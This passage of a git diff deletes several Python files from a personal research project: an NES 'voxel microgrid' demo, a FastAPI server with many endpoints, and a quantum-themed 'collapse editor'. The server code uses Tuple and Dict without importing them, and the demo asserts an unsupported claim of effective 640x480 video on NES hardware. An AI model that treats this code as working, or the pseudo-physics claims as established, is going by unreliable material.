self.optimizer.calculate_change_priority(old_color, voxel.color) - - # Check if update passes voltage threshold - if self.optimizer.voltage_based_update(voltage, priority): - optimized_voxels.append(voxel) - - # Update changed voxels set to only optimized ones - self.microgrid.changed_voxels = set((v.x, v.y) for v in optimized_voxels) - - def get_update_efficiency(self) -> float: - """ - Calculate update efficiency. - - Ratio of changed voxels to total voxels. - """ - total_voxels = self.microgrid.width * self.microgrid.height - changed_count = len(self.microgrid.changed_voxels) - return changed_count / total_voxels if total_voxels > 0 else 0.0 - -# ═══════════════════════════════════════════════════════════════════════════ -# Test / Demo -# ═══════════════════════════════════════════════════════════════════════════ - -def run_test(): - """Run microgrid voxel emulation test""" - print("=" * 70) - print("MICROGRID VOXEL EMULATION") - print("=" * 70) - - print("\n[*] Architecture:") - print(" Create 640x480 voxel microgrid (virtual display)") - print(" NES renders at 256x240 (native)") - print(" Map NES pixels to microgrid voxels") - print(" Only update voxels that change (differential updates)") - print(" DSP math and voltage computation optimize voxel updates") - print(" Effective 640x480 resolution without changing NES PPU") - - controller = VoltageMicrogridController() - - # Create NES frame (simple gradient) - print("\n[*] Creating NES frame (256x240)...") - nes_frame = [] - for y in range(240): - row = [] - for x in range(256): - r = int((x / 256) * 255) - g = int((y / 240) * 255) - b = 128 - row.append((r, g, b)) - nes_frame.append(row) - print(f" NES frame: {len(nes_frame)}x{len(nes_frame[0])}") - - # Create voltage field - print("\n[*] Creating voltage field...") - voltage_field = [] - for y in range(240): - row = [] - for x in range(256): - voltage = 2.5 + math.sin(x * 0.1 + y * 0.1) * 2.5 # 0-5V range - row.append(voltage) - voltage_field.append(row) - print(f" Voltage field: {len(voltage_field)}x{len(voltage_field[0])}") - - # Update microgrid - print("\n[*] Updating microgrid from NES frame...") - controller.update_from_nes_frame(nes_frame, voltage_field) - - # Get statistics - print("\n[*] Microgrid Statistics:") - print(f" Microgrid size: {controller.microgrid.width}x{controller.microgrid.height}") - print(f" Changed voxels: {len(controller.microgrid.changed_voxels)}") - print(f" Update efficiency: {controller.get_update_efficiency():.4f}") - print(f" Frame count: {controller.microgrid.frame_count}") - - # Render full frame - print("\n[*] Rendering full microgrid frame...") - full_frame = controller.microgrid.render_frame() - print(f" Full frame size: {len(full_frame)}x{len(full_frame[0])}") - print(f" Sample colors: (0,0)={full_frame[0][0]}, (319,239)={full_frame[239][319]}, (639,479)={full_frame[479][639]}") - - print("\n" + "=" * 70) - print("MICROGRID VOXEL EMULATION COMPLETE") - print("=" * 70) - print("\n[*] Horrific: Virtual 640x480 display on 256x240 hardware") - print("[*] Wonderful: Differential voxel updates for efficiency") - print("[*] Maximum retro insanity: microgrid = virtual display") - print("\n[*] Can we generate 640x480 video now?") - print(" YES: Microgrid voxel emulation achieves effective 640x480") - print(" NES renders at 256x240 native") - print(" Microgrid maps to 640x480 virtual display") - print(" Only update changed voxels (efficient)") - -if __name__ == "__main__": - run_test() diff --git a/2-Search-Space/manifold/api/server.py b/2-Search-Space/manifold/api/server.py deleted file mode 100644 index dab6413e..00000000 --- a/2-Search-Space/manifold/api/server.py +++ /dev/null @@ -1,838 +0,0 @@ -#!/usr/bin/env python3 -""" -Manifold Surface API Server -Provides REST API for manifold navigation interface -""" - -from fastapi import FastAPI, HTTPException -from fastapi.middleware.cors import CORSMiddleware -from pydantic import BaseModel -from typing import List, Optional -import sqlite3 -import json -import numpy as np -import sys -import os - -# Add parent directory to path -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) - -from projection_engine import ProjectionEngine, ConceptVector14, ProjectionMethod -from soliton_search import SolitonSearchEngine -from collapse_editor import CollapseEditor, StateType -from particle_interaction import ParticleInteractionEngine, ParticleType -from self_typing_engine import SelfTypingEngine, InteractionType -from relativity_adapter import RelativityAdapter, CognitiveLoadLevel -from substrate_bridge import SubstrateBridge - -app = FastAPI(title="Manifold Surface API") - -# CORS middleware -app.add_middleware( - CORSMiddleware, - allow_origins=["*"], - allow_credentials=True, - allow_methods=["*"], - allow_headers=["*"], -) - -# Database path -DB_PATH = "/home/allaun/Documents/Research Stack/data/substrate_index.db" - -# Global projection engine -projection_engine = None -soliton_engine = None -collapse_editor = CollapseEditor() -particle_engine = ParticleInteractionEngine() -self_typing_engine = SelfTypingEngine() -relativity_adapter = RelativityAdapter() -substrate_bridge = SubstrateBridge(DB_PATH) - - -class VectorData(BaseModel): - vectors: List[List[float]] - archive_ids: List[str] - - -class ProjectionRequest(BaseModel): - vectors: List[List[float]] - archive_ids: List[str] - method: str = "PCA" - slice_axis_x: int = 3 - slice_axis_y: int = 4 - - -class ProjectionResponse(BaseModel): - points: List[dict] - projection_matrix: List[List[float]] - mean_vector: List[float] - - -def get_db_connection(): - """Get database connection""" - conn = sqlite3.connect(DB_PATH) - conn.row_factory = sqlite3.Row - return conn - - -def load_concept_vectors_from_ene() -> List[ConceptVector14]: - """Load concept vectors from ENE database""" - vectors = [] - - try: - conn = get_db_connection() - cursor = conn.cursor() - - # Query concept vectors from packages table - cursor.execute(""" - SELECT archive_id, concept_vector_14 - FROM packages - WHERE concept_vector_14 IS NOT NULL - """) - - for row in cursor.fetchall(): - archive_id = row['archive_id'] - vector_str = row['concept_vector_14'] - - try: - # Parse vector string (assuming JSON format) - vector_data = json.loads(vector_str) - vector = np.array(vector_data, dtype=np.float32) - - if len(vector) != 14: - continue # Skip invalid vectors - - vectors.append(ConceptVector14(vector=vector, archive_id=archive_id)) - except (json.JSONDecodeError, ValueError) as e: - print(f"Error parsing vector for {archive_id}: {e}") - continue - - conn.close() - - except Exception as e: - print(f"Error loading concept vectors: {e}") - - return vectors - - -@app.get("/health") -def health_check(): - """Health check endpoint""" - return {"status": "ok", "service": "manifold-surface-api"} - - -@app.get("/api/load-concept-vectors") -def load_concept_vectors(): - """Load concept vectors from ENE database""" - global projection_engine - - try: - vectors = load_concept_vectors_from_ene() - - if not vectors: - return {"vectors": [], "count": 0} - - # Initialize projection engine - projection_engine = ProjectionEngine(method=ProjectionMethod.PCA) - - # Fit and transform - projected = projection_engine.fit_transform(vectors) - - # Convert to response format - vector_data = [v.vector.tolist() for v in vectors] - archive_ids = [v.archive_id for v in vectors] - - return { - "vectors": vector_data, - "archive_ids": archive_ids, - "count": len(vectors), - "projection_matrix": projection_engine._projection_matrix.tolist() if projection_engine._projection_matrix is not None else [], - "mean_vector": projection_engine._mean.tolist() if projection_engine._mean is not None else [] - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/project") -def project_vectors(request: ProjectionRequest): - """Project vectors using specified method""" - global projection_engine - - try: - # Convert to ConceptVector14 objects - vectors = [ - ConceptVector14(vector=np.array(v, dtype=np.float32), archive_id=aid) - for v, aid in zip(request.vectors, request.archive_ids) - ] - - # Create projection engine with specified method - method_map = { - "PCA": ProjectionMethod.PCA, - "tSNE": ProjectionMethod.T_SNE, - "UMAP": ProjectionMethod.UMAP, - "ManifoldChart": ProjectionMethod.MANIFOLD_CHART - } - - method = method_map.get(request.method, ProjectionMethod.PCA) - projection_engine = ProjectionEngine(method=method) - - # Fit and transform - projected = projection_engine.fit_transform(vectors) - - # Convert to response format - points = [p.to_dict() for p in projected] - - return { - "points": points, - "projection_matrix": projection_engine._projection_matrix.tolist() if projection_engine._projection_matrix is not None else [], - "mean_vector": projection_engine._mean.tolist() if projection_engine._mean is not None else [] - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -class SolitonSearchRequest(BaseModel): - query_vector: List[float] - max_results: int = 10 - - -class CreateSuperpositionRequest(BaseModel): - initial_content: str - state_type: str = "text" - - -class AddStateRequest(BaseModel): - superposition_id: str - branch_id: str - content: str - state_type: str = "text" - - -class CreateBranchRequest(BaseModel): - superposition_id: str - parent_branch_id: Optional[str] = None - content: str = "" - state_type: str = "text" - - -class CollapseRequest(BaseModel): - superposition_id: str - branch_id: str - - -class CreateParticleRequest(BaseModel): - particle_type: str - position: Tuple[float, float] - velocity: Tuple[float, float] = (0.0, 0.0) - - -class EmitPhotonRequest(BaseModel): - from_particle_id: str - to_particle_id: str - - -class AbsorbPhotonRequest(BaseModel): - photon_id: str - target_particle_id: str - - -class RecordInteractionRequest(BaseModel): - interaction_type: str - source_layer: str - target_layer: str - context: Optional[Dict[str, str]] = None - - -class InferMetatypeRequest(BaseModel): - context: Dict[str, str] - - -class MeasureCognitiveLoadRequest(BaseModel): - information_density: float - complexity: float - novelty: float - uncertainty: float - - -class TransformRequest(BaseModel): - input_vector: List[float] - from_topology: Optional[str] = None - to_topology: Optional[str] = None - - -@app.post("/api/soliton-search") -def soliton_search(request: SolitonSearchRequest): - """Search using soliton propagation with AVMR O(√N) indexing""" - global soliton_engine - - try: - # Load vectors if not already loaded - if soliton_engine is None: - vectors = load_concept_vectors_from_ene() - if not vectors: - return {"results": [], "count": 0} - - vector_data = [v.vector.tolist() for v in vectors] - archive_ids = [v.archive_id for v in vectors] - - soliton_engine = SolitonSearchEngine(vector_data, archive_ids) - - # Perform search - query = np.array(request.query_vector, dtype=np.float32) - results = soliton_engine.search(query, max_results=request.max_results) - - return { - "results": [{"archive_id": aid, "confidence": conf} for aid, conf in results], - "count": len(results) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/superposition/create") -def create_superposition(request: CreateSuperpositionRequest): - """Create new superposition with single branch""" - global collapse_editor - - try: - state_type = StateType[request.state_type.upper()] - superposition = collapse_editor.create_superposition(request.initial_content, state_type) - - return { - "superposition_id": superposition.superposition_id, - "current_branch_id": superposition.current_branch_id, - "branches": len(superposition.branches) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/superposition/add-state") -def add_state_to_branch(request: AddStateRequest): - """Add new state to existing branch""" - global collapse_editor - - try: - state_type = StateType[request.state_type.upper()] - collapse_editor.add_state_to_branch( - request.superposition_id, - request.branch_id, - request.content, - state_type - ) - - return {"status": "ok"} - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/superposition/create-branch") -def create_branch(request: CreateBranchRequest): - """Create new branch in superposition""" - global collapse_editor - - try: - state_type = StateType[request.state_type.upper()] - branch = collapse_editor.create_branch( - request.superposition_id, - request.parent_branch_id, - request.content, - state_type - ) - - return { - "branch_id": branch.branch_id, - "amplitude": branch.amplitude, - "states": len(branch.states) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/superposition/collapse") -def collapse_superposition(request: CollapseRequest): - """Collapse superposition to observable state""" - global collapse_editor - - try: - observable = collapse_editor.collapse(request.superposition_id, request.branch_id) - - return { - "archive_id": observable.archive_id, - "witness_hash": observable.witness_hash, - "collapsed_at": observable.collapsed_at.isoformat() - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/superposition/{superposition_id}/branches") -def get_superposition_branches(superposition_id: str): - """Get all branches for superposition""" - global collapse_editor - - try: - branches = collapse_editor.get_branches(superposition_id) - - return { - "branches": [ - { - "branch_id": b.branch_id, - "amplitude": b.amplitude, - "states": len(b.states), - "parent_branch_id": b.parent_branch_id - } - for b in branches - ] - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/superposition/{superposition_id}/tree") -def get_branch_tree(superposition_id: str): - """Get branch tree structure for visualization""" - global collapse_editor - - try: - tree = collapse_editor.get_branch_tree(superposition_id) - return {"tree": tree} - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/collapse-editor/undo") -def undo_collapse(): - """Revert to previous observable state""" - global collapse_editor - - try: - previous_state = collapse_editor.undo() - - if previous_state is None: - return {"status": "no_undo_available"} - - return { - "archive_id": previous_state.archive_id, - "witness_hash": previous_state.witness_hash - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/collapse-editor/witnesses") -def get_witness_history(): - """Get all witness records""" - global collapse_editor - - try: - witnesses = collapse_editor.get_witness_history() - - return { - "witnesses": [ - { - "witness_hash": w.witness_hash, - "superposition_id": w.superposition_id, - "collapsed_branch_id": w.collapsed_branch_id, - "timestamp": w.timestamp.isoformat() - } - for w in witnesses - ], - "count": len(witnesses) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/particle/create") -def create_particle(request: CreateParticleRequest): - """Create new particle""" - global particle_engine - - try: - particle_type = ParticleType[request.particle_type.upper()] - particle = particle_engine.create_particle( - particle_type, - request.position, - request.velocity - ) - - return particle.to_dict() - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/particle/emit-photon") -def emit_photon(request: EmitPhotonRequest): - """Emit photon from one particle to another""" - global particle_engine - - try: - interaction = particle_engine.emit_photon(request.from_particle_id, request.to_particle_id) - - return { - "interaction_id": len(particle_engine.interactions), - "from_particle_id": interaction.from_particle_id, - "to_particle_id": interaction.to_particle_id, - "interaction_type": interaction.interaction_type, - "energy_transfer": interaction.energy_transfer - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/particle/absorb-photon") -def absorb_photon(request: AbsorbPhotonRequest): - """Absorb photon by target particle""" - global particle_engine - - try: - interaction = particle_engine.absorb_photon(request.photon_id, request.target_particle_id) - - return { - "interaction_id": len(particle_engine.interactions), - "from_particle_id": interaction.from_particle_id, - "to_particle_id": interaction.to_particle_id, - "interaction_type": interaction.interaction_type, - "energy_transfer": interaction.energy_transfer - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/particle/detect-neutrino/{particle_id}") -def detect_neutrino(particle_id: str): - """Attempt to detect neutrino (weakly-interacting inference)""" - global particle_engine - - try: - detected = particle_engine.detect_neutrino(particle_id) - - return {"detected": detected} - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/particle/update") -def update_particles(): - """Update particle positions and velocities""" - global particle_engine - - try: - particle_engine.update() - - return {"time": particle_engine.time} - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/particle/conservation") -def check_conservation(): - """Check all conservation laws""" - global particle_engine - - try: - conservation = particle_engine.check_conservation() - return conservation - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/particle/graph") -def get_interaction_graph(): - """Get interaction graph for visualization""" - global particle_engine - - try: - graph = particle_engine.get_interaction_graph() - return graph - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/particle/type/{particle_type}") -def get_particles_by_type(particle_type: str): - """Get all particles of specific type""" - global particle_engine - - try: - ptype = ParticleType[particle_type.upper()] - particles = particle_engine.get_particles_by_type(ptype) - - return { - "particles": [p.to_dict() for p in particles], - "count": len(particles) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/self-typing/record-interaction") -def record_interaction(request: RecordInteractionRequest): - """Record interaction between layers""" - global self_typing_engine - - try: - interaction_type = InteractionType[request.interaction_type.upper()] - interaction = self_typing_engine.record_interaction( - interaction_type, - request.source_layer, - request.target_layer, - request.context - ) - - return { - "interaction_id": interaction.interaction_id, - "interaction_type": interaction.interaction_type.value, - "source_layer": interaction.source_layer, - "target_layer": interaction.target_layer, - "timestamp": interaction.timestamp.isoformat() - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/self-typing/infer-metatype") -def infer_metatype(request: InferMetatypeRequest): - """Infer metatype from interaction patterns""" - global self_typing_engine - - try: - metatype = self_typing_engine.infer_metatype(request.context) - - return { - "metatype_id": metatype.metatype_id, - "type_signature": metatype.type_signature, - "confidence": metatype.confidence, - "suggestions": metatype.suggestions, - "created_at": metatype.created_at.isoformat() - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/self-typing/interactions") -def get_interaction_history(limit: int = 100): - """Get recent interaction history""" - global self_typing_engine - - try: - interactions = self_typing_engine.get_interaction_history(limit) - - return { - "interactions": [ - { - "interaction_id": i.interaction_id, - "interaction_type": i.interaction_type.value, - "source_layer": i.source_layer, - "target_layer": i.target_layer, - "timestamp": i.timestamp.isoformat() - } - for i in interactions - ], - "count": len(interactions) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/self-typing/statistics") -def get_type_statistics(): - """Get statistics about type inference""" - global self_typing_engine - - try: - stats = self_typing_engine.get_type_statistics() - return stats - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/relativity/measure-cognitive-load") -def measure_cognitive_load(request: MeasureCognitiveLoadRequest): - """Measure cognitive load""" - global relativity_adapter - - try: - load_vector = relativity_adapter.measure_cognitive_load( - request.information_density, - request.complexity, - request.novelty, - request.uncertainty - ) - - return { - "level": load_vector.get_level().value, - "information_density": load_vector.information_density, - "complexity": load_vector.complexity, - "novelty": load_vector.novelty, - "uncertainty": load_vector.uncertainty, - "timestamp": load_vector.timestamp - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/relativity/adapt-topology") -def adapt_topology(request: MeasureCognitiveLoadRequest): - """Adapt topology based on cognitive load""" - global relativity_adapter - - try: - load_vector = relativity_adapter.measure_cognitive_load( - request.information_density, - request.complexity, - request.novelty, - request.uncertainty - ) - - topology = relativity_adapter.adapt_topology(load_vector) - - return { - "topology_id": topology.topology_id, - "distance_metric": topology.distance_metric, - "cognitive_load_level": topology.cognitive_load_level.value - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/relativity/transform") -def transform_coordinates(request: TransformRequest): - """Transform coordinates between topologies""" - global relativity_adapter - - try: - input_vector = np.array(request.input_vector, dtype=np.float32) - transformed = relativity_adapter.transform( - input_vector, - request.from_topology, - request.to_topology - ) - - return { - "transformed_vector": transformed.tolist(), - "from_topology": request.from_topology, - "to_topology": request.to_topology - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.post("/api/relativity/enable-dolphin-mode") -def enable_dolphin_mode(): - """Enable dolphin mode (non-Euclidean visualization)""" - global relativity_adapter - - try: - relativity_adapter.enable_dolphin_mode() - - return { - "status": "dolphin_mode_enabled", - "current_topology": relativity_adapter.current_topology.topology_id if relativity_adapter.current_topology else None - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/relativity/cognitive-load-history") -def get_cognitive_load_history(limit: int = 100): - """Get cognitive load history""" - global relativity_adapter - - try: - history = relativity_adapter.get_cognitive_load_history(limit) - - return { - "history": [ - { - "level": h.get_level().value, - "information_density": h.information_density, - "complexity": h.complexity, - "novelty": h.novelty, - "uncertainty": h.uncertainty, - "timestamp": h.timestamp - } - for h in history - ], - "count": len(history) - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/relativity/statistics") -def get_topology_statistics(): - """Get topology statistics""" - global relativity_adapter - - try: - stats = relativity_adapter.get_topology_statistics() - return stats - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -@app.get("/api/stats") -def get_stats(): - """Get database statistics""" - try: - conn = get_db_connection() - cursor = conn.cursor() - - # Count total packages - cursor.execute("SELECT COUNT(*) as count FROM packages") - total_count = cursor.fetchone()['count'] - - # Count packages with concept vectors - cursor.execute("SELECT COUNT(*) as count FROM packages WHERE concept_vector_14 IS NOT NULL") - vector_count = cursor.fetchone()['count'] - - conn.close() - - return { - "total_packages": total_count, - "packages_with_vectors": vector_count, - "coverage": vector_count / total_count if total_count > 0 else 0 - } - - except Exception as e: - raise HTTPException(status_code=500, detail=str(e)) - - -if __name__ == "__main__": - import uvicorn - - print("Starting Manifold Surface API Server...") - print(f"Database: {DB_PATH}") - - uvicorn.run(app, host="0.0.0.0", port=8000) diff --git a/2-Search-Space/manifold/collapse_editor.py b/2-Search-Space/manifold/collapse_editor.py deleted file mode 100644 index b808c59b..00000000 --- a/2-Search-Space/manifold/collapse_editor.py +++ /dev/null @@ -1,408 +0,0 @@ -#!/usr/bin/env python3 -""" -Collapse Editor — Superposition State Management -First-Principles Derivation: Save is projection collapse from hidden path to observable state - -Performance Targets: -- < 10ms collapse operation -- < 5ms branch visualization -- < 20ms undo operation -""" - -import numpy as np -from typing import List, Optional, Dict -from dataclasses import dataclass, field -from enum import Enum -import json -import hashlib -from datetime import datetime - - -class StateType(Enum): - """Type of state in superposition""" - TEXT = "text" - VECTOR = "vector" - STRUCTURED = "structured" - - -@dataclass -class State: - """Single state in superposition""" - content: str # State content (JSON serialized) - state_type: StateType - amplitude: float # Quantum amplitude (probability amplitude) - created_at: datetime = field(default_factory=datetime.now) - - def __repr__(self) -> str: - return f"State(type={self.state_type.value}, amplitude={self.amplitude:.3f})" - - -@dataclass -class ObservableState: - """Collapsed observable state (eigenstate)""" - archive_id: str - content: str # Observable content - witness_hash: str # SHA-256 hash of content - collapsed_at: datetime = field(default_factory=datetime.now) - parent_superposition_id: Optional[str] = None - - def __repr__(self) -> str: - return f"ObservableState(archive_id={self.archive_id}, hash={self.witness_hash[:8]}...)" - - -@dataclass -class Branch: - """Branch in superposition (possible trajectory)""" - branch_id: str - states: List[State] - amplitude: float # Branch amplitude - parent_branch_id: Optional[str] = None - created_at: datetime = field(default_factory=datetime.now) - - def __repr__(self) -> str: - return f"Branch(id={self.branch_id}, states={len(self.states)}, amplitude={self.amplitude:.3f})" - - -@dataclass -class Superposition: - """Superposition of possible states""" - superposition_id: str - branches: List[Branch] - current_branch_id: Optional[str] = None - created_at: datetime = field(default_factory=datetime.now) - - def __repr__(self) -> str: - return f"Superposition(id={self.superposition_id}, branches={len(self.branches)})" - - def get_current_branch(self) -> Optional[Branch]: - """Get currently active branch""" - if self.current_branch_id is None: - return None - for branch in self.branches: - if branch.branch_id == self.current_branch_id: - return branch - return None - - def get_total_amplitude(self) -> float: - """Get total amplitude (sum of branch amplitudes)""" - return sum(branch.amplitude for branch in self.branches) - - def normalize_amplitudes(self) -> None: - """Normalize branch amplitudes to sum to 1.0""" - total = self.get_total_amplitude() - if total > 0: - for branch in self.branches: - branch.amplitude /= total - - -class Witness: - """Witness record for collapse operation""" - witness_hash: str - superposition_id: str - collapsed_branch_id: str - observable_state: ObservableState - timestamp: datetime - - def __init__(self, superposition_id: str, collapsed_branch_id: str, observable_state: ObservableState): - self.superposition_id = superposition_id - self.collapsed_branch_id = collapsed_branch_id - self.observable_state = observable_state - self.timestamp = datetime.now() - - # Compute witness hash - witness_data = f"{superposition_id}:{collapsed_branch_id}:{observable_state.witness_hash}:{self.timestamp.isoformat()}" - self.witness_hash = hashlib.sha256(witness_data.encode()).hexdigest() - - def __repr__(self) -> str: - return f"Witness(hash={self.witness_hash[:8]}..., superposition={self.superposition_id})" - - -class CollapseEditor: - """ - Collapse Editor — Superposition State Management - - Edit in superposition, save as collapse to observable state - """ - - def __init__(self): - self.superpositions: Dict[str, Superposition] = {} - self.observable_states: Dict[str, ObservableState] = {} - self.witnesses: List[Witness] = [] - self.undo_stack: List[ObservableState] = [] - self.superposition_counter = 0 - self.branch_counter = 0 - - def create_superposition(self, initial_content: str, state_type: StateType = StateType.TEXT) -> Superposition: - """ - Create new superposition with single branch - - Args: - initial_content: Initial content - state_type: Type of state - - Returns: - New superposition - """ - self.superposition_counter += 1 - superposition_id = f"superposition_{self.superposition_counter}" - - # Create initial state - initial_state = State( - content=initial_content, - state_type=state_type, - amplitude=1.0 - ) - - # Create initial branch - self.branch_counter += 1 - branch_id = f"branch_{self.branch_counter}" - branch = Branch( - branch_id=branch_id, - states=[initial_state], - amplitude=1.0 - ) - - # Create superposition - superposition = Superposition( - superposition_id=superposition_id, - branches=[branch], - current_branch_id=branch_id - ) - - self.superpositions[superposition_id] = superposition - return superposition - - def add_state_to_branch(self, superposition_id: str, branch_id: str, content: str, state_type: StateType = StateType.TEXT) -> None: - """ - Add new state to existing branch (creates superposition) - - Args: - superposition_id: Superposition ID - branch_id: Branch ID - content: State content - state_type: Type of state - """ - if superposition_id not in self.superpositions: - raise ValueError(f"Superposition {superposition_id} not found") - - superposition = self.superpositions[superposition_id] - branch = None - for b in superposition.branches: - if b.branch_id == branch_id: - branch = b - break - - if branch is None: - raise ValueError(f"Branch {branch_id} not found") - - # Add new state to branch - new_state = State( - content=content, - state_type=state_type, - amplitude=1.0 - ) - branch.states.append(new_state) - - def create_branch(self, superposition_id: str, parent_branch_id: Optional[str] = None, content: str = "", state_type: StateType = StateType.TEXT) -> Branch: - """ - Create new branch in superposition - - Args: - superposition_id: Superposition ID - parent_branch_id: Parent branch ID (optional) - content: Initial content for new branch - state_type: Type of state - - Returns: - New branch - """ - if superposition_id not in self.superpositions: - raise ValueError(f"Superposition {superposition_id} not found") - - superposition = self.superpositions[superposition_id] - - # Create initial state - initial_state = State( - content=content, - state_type=state_type, - amplitude=1.0 - ) - - # Create new branch - self.branch_counter += 1 - branch_id = f"branch_{self.branch_counter}" - branch = Branch( - branch_id=branch_id, - states=[initial_state], - amplitude=1.0, - parent_branch_id=parent_branch_id - ) - - superposition.branches.append(branch) - superposition.normalize_amplitudes() - - return branch - - def collapse(self, superposition_id: str, branch_id: str) -> ObservableState: - """ - Collapse superposition to observable state - - Args: - superposition_id: Superposition ID - branch_id: Branch ID to collapse to - - Returns: - Observable state (eigenstate) - """ - if superposition_id not in self.superpositions: - raise ValueError(f"Superposition {superposition_id} not found") - - superposition = self.superpositions[superposition_id] - - # Find branch - branch = None - for b in superposition.branches: - if b.branch_id == branch_id: - branch = b - break - - if branch is None: - raise ValueError(f"Branch {branch_id} not found") - - # Get final state from branch - if not branch.states: - raise ValueError(f"Branch {branch_id} has no states") - - final_state = branch.states[-1] - - # Create observable state - archive_id = f"observable_{hashlib.sha256(final_state.content.encode()).hexdigest()[:16]}" - witness_hash = hashlib.sha256(final_state.content.encode()).hexdigest() - - observable_state = ObservableState( - archive_id=archive_id, - content=final_state.content, - witness_hash=witness_hash, - parent_superposition_id=superposition_id - ) - - # Record witness - witness = Witness(superposition_id, branch_id, observable_state) - self.witnesses.append(witness) - - # Store observable state - self.observable_states[archive_id] = observable_state - - # Add to undo stack - self.undo_stack.append(observable_state) - - # Remove superposition (collapsed) - del self.superpositions[superposition_id] - - return observable_state - - def undo(self) -> Optional[ObservableState]: - """ - Revert to previous observable state - - Returns: - Previous observable state if available - """ - if not self.undo_stack: - return None - - # Pop from undo stack - previous_state = self.undo_stack.pop() - - # Restore to undo stack (for redo) - # In full implementation, would need redo stack - - return previous_state - - def get_branches(self, superposition_id: str) -> List[Branch]: - """Get all branches for superposition""" - if superposition_id not in self.superpositions: - return [] - - return self.superpositions[superposition_id].branches - - def get_branch_tree(self, superposition_id: str) -> Dict: - """ - Get branch tree structure for visualization - - Args: - superposition_id: Superposition ID - - Returns: - Tree structure as nested dict - """ - if superposition_id not in self.superpositions: - return {} - - superposition = self.superpositions[superposition_id] - - # Build tree from parent relationships - tree = {} - branch_map = {b.branch_id: b for b in superposition.branches} - - for branch in superposition.branches: - if branch.parent_branch_id is None: - tree[branch.branch_id] = self._build_subtree(branch, branch_map) - - return tree - - def _build_subtree(self, branch: Branch, branch_map: Dict[str, Branch]) -> Dict: - """Build subtree for branch visualization""" - subtree = { - "branch_id": branch.branch_id, - "amplitude": branch.amplitude, - "states": len(branch.states), - "children": [] - } - - # Find children - for b in branch_map.values(): - if b.parent_branch_id == branch.branch_id: - subtree["children"].append(self._build_subtree(b, branch_map)) - - return subtree - - def get_witness_history(self) -> List[Witness]: - """Get all witness records""" - return self.witnesses - - -def main(): - """Test collapse editor with sample data""" - editor = CollapseEditor() - - # Create superposition - superposition = editor.create_superposition("Initial content", StateType.TEXT) - print(f"Created superposition: {superposition}") - - # Add state to current branch - current_branch = superposition.get_current_branch() - editor.add_state_to_branch(superposition.superposition_id, current_branch.branch_id, "Modified content") - print(f"Added state to branch: {current_branch}") - - # Create new branch - new_branch = editor.create_branch(superposition.superposition_id, current_branch.branch_id, "Alternative content") - print(f"Created new branch: {new_branch}") - - # Get branch tree - tree = editor.get_branch_tree(superposition.superposition_id) - print(f"Branch tree: {json.dumps(tree, indent=2)}") - - # Collapse to first branch - observable = editor.collapse(superposition.superposition_id, current_branch.branch_id) - print(f"Collapsed to observable: {observable}") - - # Check witness history - witnesses = editor.get_witness_history() - print(f"Witness history: {len(witnesses)} witnesses") - for w in witnesses: - print(f" {w}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/particle_interaction.py b/2-Search-Space/manifold/particle_interaction.py deleted file mode 100644 index 78d4140d..00000000 --- a/2-Search-Space/manifold/particle_interaction.py +++ /dev/null @@ -1,389 +0,0 @@ -#!/usr/bin/env python3 -""" -Particle Interaction — Standard Model Particle Visualization -First-Principles Derivation: Standard Model particles as semantic atoms - -Performance Targets: -- 1000+ particles real-time simulation -- < 16ms interaction update (60 FPS) -- < 1ms conservation check - -Particle Types: -- Electron = unit of charge / lepton number (information carrier) -- Photon = unit of information transfer (messenger) -- Proton/Neutron = stable semantic nuclei (baryon conservation = truth) -- Neutrino = weakly-interacting inference (hard to detect) -""" - -import numpy as np -from typing import List, Tuple, Optional, Dict -from dataclasses import dataclass -from enum import Enum -import math - - -class ParticleType(Enum): - """Standard Model particle types as semantic atoms""" - ELECTRON = "electron" # Unit of charge / lepton number (information carrier) - PHOTON = "photon" # Unit of information transfer (messenger) - PROTON = "proton" # Stable semantic nucleus (baryon conservation) - NEUTRON = "neutron" # Stable semantic nucleus (baryon conservation) - NEUTRINO = "neutrino" # Weakly-interacting inference (hard to detect) - - def __str__(self) -> str: - return self.value - - -@dataclass -class Particle: - """Standard Model particle for semantic representation""" - particle_id: str - particle_type: ParticleType - position: np.ndarray # 2D position (for visualization) - velocity: np.ndarray # 2D velocity - charge: float # Electric charge (lepton number for leptons) - baryon_number: int # Baryon number 